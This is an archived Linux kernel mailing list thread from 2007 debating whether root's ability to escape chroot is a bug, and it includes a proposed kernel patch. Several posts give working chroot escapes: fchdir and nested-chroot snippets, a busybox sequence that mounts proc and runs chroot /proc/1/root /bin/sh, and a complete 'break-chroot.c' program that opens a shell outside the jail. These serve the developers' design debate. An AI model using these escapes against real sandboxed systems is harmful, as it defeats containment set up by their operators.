> David, please do tell myself and Adrian how "locking down" chroot() 
> the way you want will avoid letting root break out through any of the 
> above ways?

As has been said, there are thousands of ways to break out of a chroot.  
It's just that one of them should not be that chroot lets you walk out.  
I can't explain it clearer than that.  If you don't see it now you 
probably never will.

Re: Chroot bug

[Olivier Galibert]

On Wed, Sep 26, 2007 at 07:57:38PM +0930, David Newall wrote:
> As has been said, there are thousands of ways to break out of a chroot.  
> It's just that one of them should not be that chroot lets you walk out.  

chroot does not allow you to walk out if you're in.  It only allows
you to walk outside if you're *already* out.  That's the way it is
defined.  Those who want some kind of chroot for security reasons
should look at (BSD's ?) jail, and/or hypervisors.

  OG.

Re: Chroot bug

[David Newall]

Olivier Galibert wrote:
> chroot does not allow you to walk out if you're in.

You're mistaken.  Or more properly, further use of chroot lets you walk 
out.  This really has been said before, and before, and before.

    chroot("subtree");   // enter chroot
    chdir("/");    // now at subtree
    chroot("/tmp");   // now outside of chroot


BSD redefined chroot so that the working directory is set to the new 
root on subsequent uses of chroot; that's how they solved the bug.

Re: Chroot bug

[linux-os (Dick Johnson)]

On Wed, 26 Sep 2007, David Newall wrote:

> Olivier Galibert wrote:
>> chroot does not allow you to walk out if you're in.
>
> You're mistaken.  Or more properly, further use of chroot lets you walk
> out.  This really has been said before, and before, and before.
>
>    chroot("subtree");   // enter chroot
>    chdir("/");    // now at subtree
>    chroot("/tmp");   // now outside of chroot
>
>
> BSD redefined chroot so that the working directory is set to the new
> root on subsequent uses of chroot; that's how they solved the bug.

I don't know that the so-called requirements are, but if you
have a distribution tree mounted on /mnt and you perform the
following operations:

cd /mnt
chroot . bin/bash

That shell, will not leave the new root until it exits or
executes `chroot`. I've tried the "tricks" about mounting
/proc and changing to 'cwd' of init, etc. However, your
new root needs to NOT have the chroot utility available
and/or the system call needs to be removed or trapped
in the runtime library of the new root, because, quite
obviously, a root process can do anything it wants.
That's how Unix was designed. So, if you don't want
somebody to get out of your 'jail' don't provide
the keys. It's clearly not a kernel issue.


Cheers,
Dick Johnson
Penguin : Linux version 2.6.22.1 on an i686 machine (5588.29 BogoMips).
My book : http://www.AbominableFirebug.com/
_


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Re: Chroot bug

[Olivier Galibert]

On Wed, Sep 26, 2007 at 08:43:44PM +0930, David Newall wrote:
> Olivier Galibert wrote:
> >chroot does not allow you to walk out if you're in.
> 
> You're mistaken.  Or more properly, further use of chroot lets you walk 
> out.  This really has been said before, and before, and before.
> 
>    chroot("subtree");   // enter chroot
>    chdir("/");    // now at subtree
>    chroot("/tmp");   // now outside of chroot

Of course.  chroots are not a stack, they're just a point in the
namespace.  You change it, the conditions apply to the new one.


> BSD redefined chroot so that the working directory is set to the new 
> root on subsequent uses of chroot; that's how they solved the bug.

They didn't solve a thing.  fchdir baby.  Unless you want to remove
fchdir.  And mknod.  And mount.  And so many other different syscalls
that I don't even know the list.

  OG.

Re: Chroot bug

[Kyle Moffett]

On Sep 26, 2007, at 06:27:38, David Newall wrote:
> Kyle Moffett wrote:
>> David, please do tell myself and Adrian how "locking down" chroot 
>> () the way you want will avoid letting root break out through any  
>> of the above ways?
>
> As has been said, there are thousands of ways to break out of a  
> chroot.  It's just that one of them should not be that chroot lets  
> you walk out.  I can't explain it clearer than that.  If you don't  
> see it now you probably never will.

Let me put it this way:  You *CANNOT* enforce chroot() the way you  
want to without a completely unacceptable performance penalty.  Let's  
start with the simplest example of:

fd = open("/", O_DIRECTORY);
chroot("/foo");
fchdir(fd);
chroot(".");

If you had ever actually looked at the Linux VFS, it is completely  
*impossible* to tell whether "fd" at the time of the chroot is inside  
or outside of "/foo" without tracking an enormous amount of extra  
state.  Even then, any such determination may not be valid since an  
FD may be opened to an inode which is hardlinked at multiple  
locations in the directory tree.  It could also be bind-mounted at  
multiple locations, or it may not even be mounted at all in this  
namespace (CDROM that was lazy-unmounted).  That FD may be later  
passed over an open UNIX-domain socket from another process.   
Moreover, arbitrarily closing FDs would break a huge number of  
programs.  Furthermore, since you can't fix the "trivial" case of  
'fchdir()', then there's no point in even *attempting* to fix the  
"cwd is outside of chroot" problem, although that is basically  
equivalent in difficulty to fixing the "dir-fd is outside of chroot"  
problem.

As for the nested-chroot() bit, the root user inside of a chroot is  
always allowed to chroot().  This is necessary for test-suites for  
various distro installers, chroot once to enter the installer  
playpen, installer chroots again to configure the test-installed- 
system.  Once you allow a second chroot, you're back at the "can't  
reliably and efficiently track directory sub-tree members" problem.

So if you think it can and should be fixed, then PROVIDE THE CODE.

Cheers,
Kyle Moffett

Re: Chroot bug

[Miloslav Semler]

[-- Attachment #1: Type: text/plain, Size: 2407 bytes --]

Kyle Moffett napsal(a):
> On Sep 26, 2007, at 06:27:38, David Newall wrote:
>> Kyle Moffett wrote:
>>> David, please do tell myself and Adrian how "locking down" chroot() 
>>> the way you want will avoid letting root break out through any of 
>>> the above ways?
>>
>> As has been said, there are thousands of ways to break out of a 
>> chroot.  It's just that one of them should not be that chroot lets 
>> you walk out.  I can't explain it clearer than that.  If you don't 
>> see it now you probably never will.
>
> Let me put it this way:  You *CANNOT* enforce chroot() the way you 
> want to without a completely unacceptable performance penalty.  Let's 
> start with the simplest example of:
>
> fd = open("/", O_DIRECTORY);
> chroot("/foo");
> fchdir(fd);
> chroot(".");
>
> If you had ever actually looked at the Linux VFS, it is completely 
> *impossible* to tell whether "fd" at the time of the chroot is inside 
> or outside of "/foo" without tracking an enormous amount of extra state.
so there *is* solution. It is possible. I solved it. I have patch and it 
is working. So if you find some way how to break it I woud glad if you 
tell me it.
> Even then, any such determination may not be valid since an FD may be 
> opened to an inode which is hardlinked at multiple locations in the 
> directory tree.  It could also be bind-mounted at multiple locations, 
> or it may not even be mounted at all in this namespace (CDROM that was 
> lazy-unmounted).  That FD may be later passed over an open UNIX-domain 
> socket from another process.  Moreover, arbitrarily closing FDs would 
> break a huge number of programs.  Furthermore, since you can't fix the 
> "trivial" case of 'fchdir()', then there's no point in even 
> *attempting* to fix the "cwd is outside of chroot" problem, although 
> that is basically equivalent in difficulty to fixing the "dir-fd is 
> outside of chroot" problem.
>
> As for the nested-chroot() bit, the root user inside of a chroot is 
> always allowed to chroot().  This is necessary for test-suites for 
> various distro installers, chroot once to enter the installer playpen, 
> installer chroots again to configure the test-installed-system.  Once 
> you allow a second chroot, you're back at the "can't reliably and 
> efficiently track directory sub-tree members" problem.
>
> So if you think it can and should be fixed, then PROVIDE THE CODE.
Miloslav Semler

[-- Attachment #2: sys_chroot+sys_fchdir.patch --]
[-- Type: text/x-diff, Size: 3265 bytes --]

diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c	2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
  	}
  	follow_mount(&nd->mnt, &nd->dentry);
  }
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ 		struct vfsmount *rootmnt, struct dentry *root)
+ {
+ 	struct nameidata oldentry, newentry;
+ 	long ret = 1;
+ 	
+         read_lock(&current->fs->lock);
+ 	oldentry.dentry = dget(wdentry);
+ 	oldentry.mnt = mntget(wdmnt);
+         read_unlock(&current->fs->lock);
+ 	newentry.dentry = oldentry.dentry;
+ 	newentry.mnt = oldentry.mnt;
+ 	
+ 	follow_dotdot(&newentry);
+ 	/* check it */
+ 	if(newentry.dentry == root && 
+ 		newentry.mnt == rootmnt){
+ 		ret = 0;
+ 		goto out;
+ 	}
+ 	
+ 	while(oldentry.mnt != newentry.mnt ||
+ 		oldentry.dentry != newentry.dentry){
+ 		
+ 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ 		follow_dotdot(&newentry);
+ 		
+ 		/* check it */
+ 		if(newentry.dentry == root && 
+ 			newentry.mnt == rootmnt){
+ 			ret = 0;
+ 			goto out;
+ 		}
+ 	}
+ out:
+ 	dput(newentry.dentry);
+ 	mntput(newentry.mnt);
+ 	return ret;
+ }
  
  /*
   *  It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c	2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
  out:
  	return error;
  }
+ long directory_is_out(struct vfsmount *, struct dentry*, 
+ 		struct vfsmount *, struct dentry *);
  
  asmlinkage long sys_fchdir(unsigned int fd)
  {
*************** asmlinkage long sys_fchdir(unsigned int 
*** 581,586 ****
--- 583,591 ----
  	error = -ENOTDIR;
  	if (!S_ISDIR(inode->i_mode))
  		goto out_putf;
+ 	if (directory_is_out(mnt, dentry, current->fs->rootmnt, 
+ 				current->fs->root))
+ 		goto out_putf;
  
  	error = file_permission(file, MAY_EXEC);
  	if (!error)
*************** out:
*** 594,600 ****
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
--- 599,605 ----
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error, set_wd = 0;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
  	error = -EPERM;
  	if (!capable(CAP_SYS_CHROOT))
  		goto dput_and_out;
+ 	error = -ENOTDIR;
+ 	/*
+ 	if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ 				current->fs->root))
+ 		goto dput_and_out;
+ 		*/
+ 	set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd, 
+ 				nd.mnt, nd.dentry);
  
  	set_fs_root(current->fs, nd.mnt, nd.dentry);
  	set_fs_altroot();
+ 	/* if wd is out, reset it to . */
+ 	if(set_wd)
+ 		set_fs_pwd(current->fs, nd.mnt, nd.dentry);
  	error = 0;
  dput_and_out:
  	path_release(&nd);

Re: Chroot bug

[Al Viro]

On Wed, Sep 26, 2007 at 03:11:33PM +0200, Miloslav Semler wrote:
> >As for the nested-chroot() bit, the root user inside of a chroot is 
> >always allowed to chroot().  This is necessary for test-suites for 
> >various distro installers, chroot once to enter the installer playpen, 
> >installer chroots again to configure the test-installed-system.  Once 
> >you allow a second chroot, you're back at the "can't reliably and 
> >efficiently track directory sub-tree members" problem.
> >
> >So if you think it can and should be fixed, then PROVIDE THE CODE.
> Miloslav Semler

man openat

This is really pointless, anyway - any code that expects chroot to be
root-proof is terminally broken.

Re: Chroot bug

[Miloslav Semler]

Al Viro napsal(a):
> On Wed, Sep 26, 2007 at 03:11:33PM +0200, Miloslav Semler wrote:
>   
>>> As for the nested-chroot() bit, the root user inside of a chroot is 
>>> always allowed to chroot().  This is necessary for test-suites for 
>>> various distro installers, chroot once to enter the installer playpen, 
>>> installer chroots again to configure the test-installed-system.  Once 
>>> you allow a second chroot, you're back at the "can't reliably and 
>>> efficiently track directory sub-tree members" problem.
>>>
>>> So if you think it can and should be fixed, then PROVIDE THE CODE.
>>>       
>> Miloslav Semler
>>     
>
> man openat
>
> This is really pointless, anyway - any code that expects chroot to be
> root-proof is terminally broken.
>   
So thanks for information. I did't know anything about *at functions. So 
it seems to be more complicated. But maybe it will be good write to 
manpage "other systems implement it by other way, so this feature is 
unportable".

Re: Chroot bug

[Kyle Moffett]

On Sep 26, 2007, at 09:11:33, Miloslav Semler wrote:
> + long directory_is_out(struct vfsmount *wdmnt, struct dentry  
> *wdentry,
> + 		struct vfsmount *rootmnt, struct dentry *root)
> + {
> + 	struct nameidata oldentry, newentry;
> + 	long ret = 1;
> + 	
> +         read_lock(&current->fs->lock);
> + 	oldentry.dentry = dget(wdentry);
> + 	oldentry.mnt = mntget(wdmnt);
> +         read_unlock(&current->fs->lock);
> + 	newentry.dentry = oldentry.dentry;
> + 	newentry.mnt = oldentry.mnt;
> + 	
> + 	follow_dotdot(&newentry);
> + 	/* check it */
> + 	if(newentry.dentry == root &&
> + 		newentry.mnt == rootmnt){
> + 		ret = 0;
> + 		goto out;
> + 	}
> + 	
> + 	while(oldentry.mnt != newentry.mnt ||
> + 		oldentry.dentry != newentry.dentry){
> + 		
> + 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
> + 		follow_dotdot(&newentry);
> + 		
> + 		/* check it */
> + 		if(newentry.dentry == root &&
> + 			newentry.mnt == rootmnt){
> + 			ret = 0;
> + 			goto out;
> + 		}
> + 	}
> + out:
> + 	dput(newentry.dentry);
> + 	mntput(newentry.mnt);
> + 	return ret;
> + }

This is basically both painfully racy and easily broken with umount  
and/or access to proc.  See this busybox-compatible example:

## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox

## Enter chroot
chroot /root1 /busybox

## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc

## Poke around root filesystem (this may be all you need)
/busybox ls /proc/1/root/

## Detach our chroot so we're no longer a sub-directory
/busybox umount -l /proc/1/root/root1

## Now we can easily chroot to the original root, since it isn't in  
our ".." path
exec /busybox chroot /proc/1/root /bin/sh


See how easy that is?  Unless you stick the above parent-directory  
check (which is still racy against directories being moved around)  
for *EVERY* directory component of *EVERY* open/chdir-ish syscall,  
you are still going to be easily worked around through many different  
methods.

Cheers,
Kyle Moffett

Re: Chroot bug

[Miloslav Semler]

>
> This is basically both painfully racy and easily broken with umount 
> and/or access to proc.  See this busybox-compatible example:
>
> ## Set up chroot
> mkdir /root1
> mount -o mode=0750 -t tmpfs tmpfs /root1
> cp -a /bin/busybox /root1/busybox
>
> ## Enter chroot
> chroot /root1 /busybox
>
> ## Mount proc
> /busybox mkdir /proc
> /busybox mount -t proc proc /proc
>
> ## Poke around root filesystem (this may be all you need)
> /busybox ls /proc/1/root/
>
> ## Detach our chroot so we're no longer a sub-directory
> /busybox umount -l /proc/1/root/root1
>
> ## Now we can easily chroot to the original root, since it isn't in 
> our ".." path
> exec /busybox chroot /proc/1/root /bin/sh
>
>
> See how easy that is?  Unless you stick the above parent-directory 
> check (which is still racy against directories being moved around) for 
> *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are 
> still going to be easily worked around through many different methods.
>
so there is no discussion about mount & others. I think, if you have 
CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to 
break it.

Re: Chroot bug

[Jiri Kosina]

On Wed, 26 Sep 2007, Miloslav Semler wrote:

> so there is no discussion about mount & others. I think, if you have 
> CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to 
> break it.

CAP_SYS_PTRACE allows you to break out of chroot in a pretty trivial way 
too.

-- 
Jiri Kosina

Re: Chroot bug

[Arjan van de Ven]

On Wed, 26 Sep 2007 01:05:07 +0930
David Newall <david@davidnewall.com> wrote:

> Alan Cox wrote:
> >> Marek's loading dynamic libraries, it seems clear that the prime
> >> purpose of chroot is to aid security.  Being able to cd your way
> >> out is handy 
> >
> > Does it - I can't find any evidence for that.
> 
> It seems self-evident to me.  What do you think is it prime purpose?
> 
> 

the prime purpose is that you can have different sets of userspace libs
for testing or parallel deployment (for example this is used in many
distribution build systems)

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Adrian Bunk]

On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote:

> Miloslav Semler pointed out that a root process can chdir("..") out of its 
> chroot.  Although this is documented in the man page, it conflicts with the 
> essential function, which is to change the root directory of the process.  
> In addition to any creative uses, for example Philipp Marek's loading 
> dynamic libraries, it seems clear that the prime purpose of chroot is to 
> aid security.  Being able to cd your way out is handy for the bad guys, but 
> the good guys don't need it; there are a thousand better, safer solutions.
>...

The bad guys most likely also now other tricks to escape the chroot.

If you are root in the chroot you can e.g. mount the partition with the 
root filesystem inside the chroot.

If a bad guy becomes root inside a chroot it's game over.

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: Chroot bug

[Miloslav Semler]

Adrian Bunk napsal(a):
> On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote:
>
>   
>> Miloslav Semler pointed out that a root process can chdir("..") out of its 
>> chroot.  Although this is documented in the man page, it conflicts with the 
>> essential function, which is to change the root directory of the process.  
>> In addition to any creative uses, for example Philipp Marek's loading 
>> dynamic libraries, it seems clear that the prime purpose of chroot is to 
>> aid security.  Being able to cd your way out is handy for the bad guys, but 
>> the good guys don't need it; there are a thousand better, safer solutions.
>> ...
>>     
>
> The bad guys most likely also now other tricks to escape the chroot.
>
> If you are root in the chroot you can e.g. mount the partition with the 
> root filesystem inside the chroot.
>
> If a bad guy becomes root inside a chroot it's game over.
>   
but why there keep 1000001th. It is same as:
There is milion ways howto dos your system.. Then we needn't repair bugs...
> cu
> Adrian
>
>   

Re: Chroot bug

[Adrian Bunk]

On Tue, Sep 25, 2007 at 05:43:58PM +0200, Miloslav Semler wrote:
> Adrian Bunk napsal(a):
>> On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote:
>>
>>   
>>> Miloslav Semler pointed out that a root process can chdir("..") out of 
>>> its chroot.  Although this is documented in the man page, it conflicts 
>>> with the essential function, which is to change the root directory of the 
>>> process.  In addition to any creative uses, for example Philipp Marek's 
>>> loading dynamic libraries, it seems clear that the prime purpose of 
>>> chroot is to aid security.  Being able to cd your way out is handy for 
>>> the bad guys, but the good guys don't need it; there are a thousand 
>>> better, safer solutions.
>>> ...
>>>     
>>
>> The bad guys most likely also now other tricks to escape the chroot.
>>
>> If you are root in the chroot you can e.g. mount the partition with the 
>> root filesystem inside the chroot.
>>
>> If a bad guy becomes root inside a chroot it's game over.
>>   
> but why there keep 1000001th. It is same as:
> There is milion ways howto dos your system.. Then we needn't repair bugs...

Either something is aimed at being secure or it's not aimed at being 
secure.

For chroot it's documented that it does not prevent root from escaping 
the chroot so that's expected behavior, not a bug.

And regarding security, there's no difference whether there is 1 way or 
whether there are 1000001 ways for root to escape the chroot.

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Bodo Eggert]

On Wed, 26 Sep 2007, David Newall wrote:

> Miloslav Semler pointed out that a root process can chdir("..") out of 
> its chroot.  Although this is documented in the man page, it conflicts 
> with the essential function, which is to change the root directory of 
> the process.

The root directory, '/' is changed, and if the process is capable of using
chroot, it may change the root directory again. Works as defined.

>  In addition to any creative uses, for example Philipp 
> Marek's loading dynamic libraries, it seems clear that the prime purpose 
> of chroot is to aid security.

As long as root has more than a safe subset of capabilities, root can escape 
a chroot.

Besides that, fchdir on open-at-chroot fds does not decrease the security, 
since the attacker needs help from the outside root, who is not restricted 
by chroot.

I'm more concerned about abstract unix sockets, they could be used to 
send a file descriptor to compromised daemons and extend exploits to
the outside of a chroot and across namespaces - at least I suspect it.
The whole f* family of syscalls would be affected. This can be cured by
e.g. not allowing to receive fds if the root+namespace do not match.

>  Being able to cd your way out is handy 
> for the bad guys, but the good guys don't need it; there are a thousand 
> better, safer solutions.

The good guys don't cd out, they open the instalkler archive, chroot to the 
new system root and extract it there. Then they chroot back using the saved 
cwd.

> If there truly is a need to be able to pop in and out of a chroot, then 
> the solution should be obvious, such as with real versus effective user 
> and group ids.  An important quality of a solution would be a way to fix 
> that essential function: to set the root in such a way that you can no 
> longer pop out.  But that is a separate question.

As in jail()?

As far as I know, the new virtualisation features sneaking into the kernel  
will allow implementing a jail, too, in a more secure way than any hacking 
on chroot can give.

> The question: is chroot buggy?  I'm pleased to turn to SCO for an 
> independent definition for chroot, from which I get the following:
> 
> http://osr600doc.sco.com/en/man/html.S/chroot.S.html:
> >
> > The *..* entry in the root directory is interpreted to mean the root 
> > directory itself. Thus, *..* cannot be used to access files outside 
> > the subtree rooted at the root directory.
> >
> 
> I argue chroot is buggy.  Miloslav's patch might not be the right 
> solution, but he has the right idea (i.e. fix it.)

There are implementations of chroot which imply chdir(), and not having f* 
functions, they can not _directly_ acces files outside the chroot. But as 
long as they can e.g. mknod /dev/mem or strace, they can do anything.

So let's not put a fingerprint sensor on that chinese paper door.
-- 
You know you're in trouble when packet floods are competing to flood you.
	-- grc.com

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> No reason for any new parameters to pivot_root.  Just clone your mounts
>> namespace first.
>>
>> 	unshare(CLONE_NEWNS);
>> 	chdir(new_dir);
>> 	pivot_root(new_dir, oldroot);
>>
>> Since pivot_root actually fiddles with the vfsmnts, this is really the
>> only way to go about having it "work with just one process".
>
> I think the point is that, whereas we'd like to be able to pivot the root 
> for a single process, in practice this causes startup issues to which the 
> easy solution is to pivot the whole system.  At least that's my reading of 
> the man page.
>
> It might be tidy if pivot_root could be used (instead of a hack based on a 
> chroot bug), but it'd still be unportable.

Oh.  Yes, true, it is unportable.

-serge

Re: sys_chroot+sys_fchdir Fix

[Nick Craig-Wood]

Al Viro <viro@ftp.linux.org.uk> wrote:
>  If you are within chroot jail and capable of chroot(), you can chdir to
>  its root, then chroot() to subdirectory and you've got cwd outside of
>  your new root.  After that you can chdir all way out to original
>  root.

Here is some code I wrote a while back to demonstrate that escape
method.

/*
 *  Break a chroot
 *
 *  Compile this with
 *
 *     gcc -static -Wall break-chroot.c -o break-chroot
 *
 *  Get a root shell in the chrooted environment and run
 *
 *    ./break-chroot
 *
 *  Nick Craig-Wood <nick@craig-wood.com>
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <error.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL "bin/sh"		/* no leading / */

int main(void)
{
    struct stat buf;
    if (chdir("/"))
	perror("chdir /"), exit(1);

    printf("Making escape tunnel\n");
    mkdir("/tmp", 01777);
    mkdir("/tmp/escape-tunnel", 0755);

    printf("Doing escape chroot leaving cwd behind\n");
    if (chroot("/tmp/escape-tunnel"))
	perror("chroot /tmp/escape-tunnel"), exit(1);

    printf("Exploit cwd being above the root and find a " SHELL " to run\n");
    do {
	printf("Going up...\n");
	if (chdir("../"))
	    perror("chdir ../"), exit(1);
    } while (stat(SHELL, &buf) != 0);

    printf("Chrooting back into the root directory\n");
    if (chroot("."))
	perror("chroot ."), exit(1);

    printf("If this doesn't error you are out of chroot!\n");
    if (execl(SHELL, SHELL, 0))
	perror("exec " SHELL), exit(1);

    printf("Something wicked happened!\n");
    return 1;
}

-- 
Nick Craig-Wood <nick@craig-wood.com> -- http://www.craig-wood.com/nick